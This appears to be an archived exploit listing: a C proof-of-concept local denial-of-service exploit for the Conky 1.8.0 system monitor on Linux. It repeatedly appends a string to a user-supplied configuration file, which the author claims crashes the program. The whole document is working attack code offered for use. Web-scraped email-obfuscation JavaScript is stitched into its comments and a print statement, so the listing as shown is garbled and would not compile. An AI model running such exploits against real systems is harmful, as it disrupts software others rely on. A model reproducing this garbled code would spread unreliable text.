Conky Linux 1.8.0 Denial Of Service

`/* */  
/* Vulnerability Conky 1.8.0 on Linux */  
/* Tested on: Linux with kernel 2.6.32.1-smp */  
/* Found: by Arturo D'Elia */  
/* Date found: 12 Dec 2010 */  
/* Fix: No Fix */  
/* Contacts: [email protected]<script type="text/javascript">  
/* <![CDATA[ */  
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();  
/* ]]> */  
</script> */  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
char killyou[]= "# w000wwwww i exploit it and i kill you!";  
  
int main( int argc, char **argv){  
  
FILE *fp;  
  
/* Write the information program*/  
printf("\n[*] Conky 1.8.0 Local DoS/PoC Exploit [*]\n");  
printf("[*] Coded by: Arturo D'Elia\n");  
printf("[*] Tested on: Linux\n");  
printf("[*] Kernel version: 2.6.32.1-smp\n");  
printf("[*] Bug Found: 12 Dec 2010\n");  
printf("[*] Contacts: [email protected]<script type="text/javascript">  
/* <![CDATA[ */  
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();  
/* ]]> */  
</script>\n\n");  
  
/* Check the input parameter */  
if(argc!=2)  
exit(fprintf(stderr,"Usage: %s < path conkyrc >\n",argv[0]));  
  
/* Check file exsist */  
printf("[>] Open conky configuration\n");  
if((fp=fopen(argv[1],"r"))==NULL)  
exit(fprintf(stderr,"[x] Cannot open %s file\n",argv[1]));  
fclose(fp);  
  
/* Open file for append and i send it the */  
/* exploited strings */  
fp=fopen(argv[1],"a");  
printf("[>] Send the DoS/PoC string\n");  
fprintf(fp,"%s\n",killyou);  
fclose(fp);  
  
/* Wait 3 seconds */  
usleep(3000000);  
  
/* Resend exploited strings */  
fp=fopen(argv[1],"a");  
fprintf(fp,"%s\n",killyou);  
fclose(fp);  
  
/* Ok guy. */  
printf("[*] Ok guy, you kill it.\n\n");  
return 0;  
}  
  
`